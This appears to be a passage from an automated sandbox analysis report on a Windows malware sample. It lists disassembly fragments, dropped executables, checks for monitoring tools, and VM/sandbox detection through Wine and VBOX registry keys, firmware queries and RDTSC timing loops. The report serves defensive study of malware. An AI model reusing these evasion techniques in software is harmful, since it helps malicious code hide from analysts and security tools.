Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Code function: 0_3_015ECF40 push eax; iretd 0_3_015ECF41
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Code function: 0_3_015ECF40 push eax; iretd 0_3_015ECF41
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Code function: 0_3_015EE964 push esi; retf 0_3_015EE98B
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Code function: 0_3_015EE964 push esi; retf 0_3_015EE98B
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Code function: 0_3_015F5924 push esi; retf 0_3_015F5927
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Code function: 0_3_015F5924 push esi; retf 0_3_015F5927
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Code function: 0_3_0160518E push eax; retf 0005h 0_3_016052B9
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Code function: 0_3_0160518E push eax; retf 0005h 0_3_016052B9
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Code function: 3_2_00442D79 push ebx; mov dword ptr [esp], 3FF0ACADh 3_2_00442D83
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Code function: 3_2_00434DD2 push edx; mov dword ptr [esp], 2DFAC020h 3_2_00434E1B
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Code function: 3_2_00434DD2 push eax; mov dword ptr [esp], ecx 3_2_00434E66
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Code function: 3_2_00434DD2 push ecx; mov dword ptr [esp], edi 3_2_00434EFD
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Code function: 3_2_00434DD2 push ecx; mov dword ptr [esp], ebx 3_2_00434F36
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Code function: 3_2_00442E09 push esi; mov dword ptr [esp], 00DAF543h 3_2_00443BD1
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Code function: 3_2_00442E09 push esi; mov dword ptr [esp], edx 3_2_00443BEC
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Code function: 3_2_00442E09 push 50590FD7h; mov dword ptr [esp], ebx 3_2_00444745
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Code function: 3_2_002C082C push edx; mov dword ptr [esp], 7BDAE48Ah 3_2_002C083E
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Code function: 3_2_002C082C push 5CDC056Dh; mov dword ptr [esp], ecx 3_2_002C39CB
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Code function: 3_2_002C082C push 01BFAC10h; mov dword ptr [esp], esi 3_2_002C39E2
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Code function: 3_2_002C1031 push 36AC817Fh; mov dword ptr [esp], ebp 3_2_002C3E34
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Code function: 3_2_002C300F push 1BF7A93Eh; mov dword ptr [esp], edx 3_2_002C303D
Source: FBVmDbz2nb.exe Static PE information: section name: entropy: 7.97568239553893
Source: FBVmDbz2nb.exe Static PE information: section name: truimtqs entropy: 7.953857764268723
Drops PE files
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File created: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe Jump to dropped file
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File created: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Jump to dropped file

Boot Survival
barindex
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Window searched: window name: Filemonclass Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Window searched: window name: Filemonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Query firmware table information (likely to detect VMs)
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe System information queried: FirmwareTableInformation Jump to behavior
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: D90A5E second address: D90A95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F8784B30556h 0x0000000a push edx 0x0000000b jmp 00007F8784B3055Eh 0x00000010 jmp 00007F8784B3055Ch 0x00000015 pop edx 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 jmp 00007F8784B3055Ch 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: D90A95 second address: D90AB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F8784D6226Dh 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: D90AB0 second address: D90AB6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: D8FA91 second address: D8FA95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: D8FA95 second address: D8FA99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: D8FA99 second address: D8FAB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F8784D62272h 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: D8FAB9 second address: D8FAD9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F8784B30569h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: D8FDAA second address: D8FDB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: D8FDB0 second address: D8FDCA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784B30564h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: D8FDCA second address: D8FDCF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: D8FDCF second address: D8FDEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8784B30563h 0x00000009 pop ecx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: D8FF79 second address: D8FF7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: D9009F second address: D900AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F8784B30556h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: D92B77 second address: D92BA0 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F8784D62268h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jl 00007F8784D62271h 0x00000014 mov eax, dword ptr [eax] 0x00000016 push edx 0x00000017 pushad 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: D92D2A second address: D92D53 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F8784B30556h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b mov eax, dword ptr [eax] 0x0000000d jmp 00007F8784B30562h 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 push eax 0x00000017 push edx 0x00000018 push esi 0x00000019 pushad 0x0000001a popad 0x0000001b pop esi 0x0000001c rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: D92D53 second address: D92DBF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784D62275h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a or cx, E261h 0x0000000f lea ebx, dword ptr [ebp+1244EA82h] 0x00000015 push 00000000h 0x00000017 push edx 0x00000018 call 00007F8784D62268h 0x0000001d pop edx 0x0000001e mov dword ptr [esp+04h], edx 0x00000022 add dword ptr [esp+04h], 00000014h 0x0000002a inc edx 0x0000002b push edx 0x0000002c ret 0x0000002d pop edx 0x0000002e ret 0x0000002f mov dword ptr [ebp+122D1AA3h], ebx 0x00000035 sub dword ptr [ebp+122D1BD2h], eax 0x0000003b xchg eax, ebx 0x0000003c jmp 00007F8784D62277h 0x00000041 push eax 0x00000042 push eax 0x00000043 push edx 0x00000044 push edx 0x00000045 push ecx 0x00000046 pop ecx 0x00000047 pop edx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: D92DBF second address: D92DC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: D92F24 second address: D92F28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: D92F28 second address: D92F32 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: D92F32 second address: D92F58 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F8784D62266h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f pushad 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push edx 0x00000014 pop edx 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F8784D6226Eh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: D92F58 second address: D92F5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: D92FEF second address: D93062 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edi 0x00000008 push eax 0x00000009 push eax 0x0000000a jmp 00007F8784D62274h 0x0000000f pop eax 0x00000010 nop 0x00000011 push eax 0x00000012 pushad 0x00000013 mov dword ptr [ebp+122D39FAh], edx 0x00000019 mov esi, edi 0x0000001b popad 0x0000001c pop esi 0x0000001d jnp 00007F8784D62268h 0x00000023 mov dh, 4Ch 0x00000025 push 00000000h 0x00000027 mov dword ptr [ebp+122D39FAh], eax 0x0000002d call 00007F8784D62269h 0x00000032 jmp 00007F8784D6226Ah 0x00000037 push eax 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b jmp 00007F8784D62279h 0x00000040 jg 00007F8784D62266h 0x00000046 popad 0x00000047 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: D93062 second address: D93067 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: D93067 second address: D93090 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8784D62279h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push edi 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: D93090 second address: D93094 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: D93094 second address: D93098 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: D93098 second address: D9314C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov eax, dword ptr [eax] 0x00000009 ja 00007F8784B3056Fh 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 pushad 0x00000014 jbe 00007F8784B3055Ch 0x0000001a jg 00007F8784B30556h 0x00000020 jmp 00007F8784B30563h 0x00000025 popad 0x00000026 pop eax 0x00000027 call 00007F8784B3055Bh 0x0000002c sub dword ptr [ebp+122D1B68h], esi 0x00000032 pop esi 0x00000033 push 00000003h 0x00000035 push 00000000h 0x00000037 push edi 0x00000038 call 00007F8784B30558h 0x0000003d pop edi 0x0000003e mov dword ptr [esp+04h], edi 0x00000042 add dword ptr [esp+04h], 00000014h 0x0000004a inc edi 0x0000004b push edi 0x0000004c ret 0x0000004d pop edi 0x0000004e ret 0x0000004f mov ecx, dword ptr [ebp+122D1A28h] 0x00000055 mov cx, ax 0x00000058 push 00000000h 0x0000005a sub dword ptr [ebp+1244980Bh], ecx 0x00000060 push 00000003h 0x00000062 pushad 0x00000063 add dword ptr [ebp+122D1A40h], ebx 0x00000069 call 00007F8784B3055Ah 0x0000006e xor dword ptr [ebp+122D21EEh], esi 0x00000074 pop esi 0x00000075 popad 0x00000076 push 4C788495h 0x0000007b push eax 0x0000007c push edx 0x0000007d push edi 0x0000007e push eax 0x0000007f push edx 0x00000080 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: D9314C second address: D93151 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: D93151 second address: D93185 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784B30561h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 73877B6Bh 0x00000010 mov dword ptr [ebp+122D1A40h], esi 0x00000016 lea ebx, dword ptr [ebp+1244EA96h] 0x0000001c mov dx, di 0x0000001f mov di, cx 0x00000022 push eax 0x00000023 push edi 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: D7C174 second address: D7C18F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784D62273h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: D7C18F second address: D7C193 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DB338E second address: DB339A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jbe 00007F8784D62266h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DB339A second address: DB33A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F8784B30556h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DB33A4 second address: DB33AA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DB34E0 second address: DB34E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DB34E4 second address: DB34EA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DB34EA second address: DB351B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F8784B30561h 0x0000000e jmp 00007F8784B30567h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DB3652 second address: DB3656 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DB3656 second address: DB365C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DB37B5 second address: DB37DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 ja 00007F8784D6227Ah 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DB37DB second address: DB3810 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784B30564h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c jmp 00007F8784B30569h 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DB3A8E second address: DB3A93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DB3A93 second address: DB3AAE instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F8784B3055Eh 0x00000008 js 00007F8784B30556h 0x0000000e pushad 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 jnp 00007F8784B30564h 0x00000018 push ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DB3AAE second address: DB3AB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DB4A20 second address: DB4A26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DB4A26 second address: DB4A30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F8784D62266h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DB4A30 second address: DB4A53 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F8784B30556h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F8784B30564h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DB4B8A second address: DB4B99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8784D6226Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DB4B99 second address: DB4B9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DB94BB second address: DB94DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push eax 0x00000007 jmp 00007F8784D62272h 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DB94DD second address: DB94E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DB94E1 second address: DB94FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784D62275h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DB94FE second address: DB9502 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
